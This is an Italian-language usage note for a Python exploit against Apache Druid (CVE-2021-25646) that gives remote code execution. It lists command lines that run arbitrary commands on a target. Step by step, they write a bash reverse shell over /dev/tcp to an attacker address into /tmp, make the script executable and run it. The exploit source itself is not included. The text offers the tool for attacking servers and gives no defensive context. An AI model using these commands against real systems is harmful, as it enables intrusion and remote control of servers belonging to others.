
Exploit in Python per l'esecuzione remota di codice in Apache Druid (CVE-2021-25646) con capacità di reverse shell ed esecuzione di comandi.
Utilizzo: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd
Reverse shell come segue:
Scrivere lo script della reverse shell
python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
Assegnare i permessi di esecuzione allo script
python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
Eseguire la shell
python3 CVE-2021-25646.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"